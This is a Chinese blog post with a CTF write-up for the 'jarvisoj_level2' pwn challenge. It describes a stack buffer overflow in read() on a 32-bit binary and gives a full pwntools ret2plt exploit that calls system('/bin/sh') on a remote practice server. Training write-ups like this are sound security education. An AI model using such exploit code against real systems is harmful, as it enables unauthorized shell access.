当前位置:网站首页>jarvisoj_level2
jarvisoj_level2
2022-06-24 06:43:00 【[mzq]】
jarvisoj_level2

32位没有开canary 然后程序的read函数有溢出 可以执行栈溢出操作
main函数 这个调用了system 函数所以plt表中是有system的地址的

vulnerable function函数 read发生溢出 &buf 栈上只有0x88,然而却读入了0x100
,造成我们可以覆盖栈上ebp return address 的值.


exp
from pwn import *
#io = process("./level2")
io = remote("node4.buuoj.cn",27209)
elf = ELF("./level2")
context(log_level="debug",arch="i386")
system_plt = elf.plt["system"]
binsh = next(elf.search("/bin/sh"))
payload = flat(["a"*0x88,"iebp",system_plt,0,binsh])
io.sendline(payload)
io.interactive()

边栏推荐
- Spark project Packaging Optimization Practice
- 【图像特征提取】基于脉冲耦合神经网络(PCNN)实现图像特征提取含Matlab源码
- JVM调试工具-jmap
- 【图像分割】基于形态学实现视网膜血管分割附matlab代码
- Hyperledger fabric ledger snapshot - fast data synchronization
- PCL calculates the area of a polygon
- Software performance test analysis and tuning practice path - JMeter's performance pressure test analysis and tuning of RPC Services - manuscript excerpts
- The P2V and V2V software starwind converter is really easy to use
- Maui uses Masa blazor component library
- Outils de débogage JVM - Arthas
猜你喜欢

树莓派4B开发板入门

In JS, the regular expression verifies the hour and minute, and converts the input string to the corresponding hour and minute

Prefix and topic training

超宽带脉冲定位方案,UWB精准定位技术,无线室内定位应用

【图像融合】基于方向离散余弦变换和主成分分析的图像融合附matlab代码

Mysql---三张表(student,课程,分数) 查询课程为数学的学生姓名,编号,成绩

JVM debugging tool -arthas

电脑如何打开软键盘,教大家Win10如何打开软键盘的方法

JVM debugging tool -jvisualvm
![[Proteus] Arduino uno + ds1307+lcd1602 time display](/img/96/d8c1cacc8a633c679b1a58a1eb8cb9.png)
[Proteus] Arduino uno + ds1307+lcd1602 time display
随机推荐
【帧率倍频】基于FPGA的视频帧率倍频系统verilog开发实现
Unexpected token u in JSON at position 0
Arduino raised $32million to enter the enterprise market
Research on redis High Availability Mechanism
Tutorial on simple use of Modbus to BACnet gateway
[WordPress website] 5 Set code highlight
JVM debugging tool -jvisualvm
Functions in setinterval cannot have parentheses
App management platform app host
超宽带脉冲定位方案,UWB精准定位技术,无线室内定位应用
The fund management of London gold is more important than others
JVM debugging tool -jstack
The third session of freshman engineering education seminar is under registration
Stop looking! The most complete data analysis strategy of the whole network is here
. Net7 miniapi (special part):preview5 optimizes JWT verification (Part 1)
Summary of 2022 blue team HW elementary interview questions
Cisco router configuration notes: static routing, rip, OSPF, principles combined with experiments, worth a visit!
Win11怎么设置让CPU性能全开?Win11CPU怎么设置高性能模式?
0 foundation a literature club low code development member management applet (4)
How can genetic testing help patients fight disease?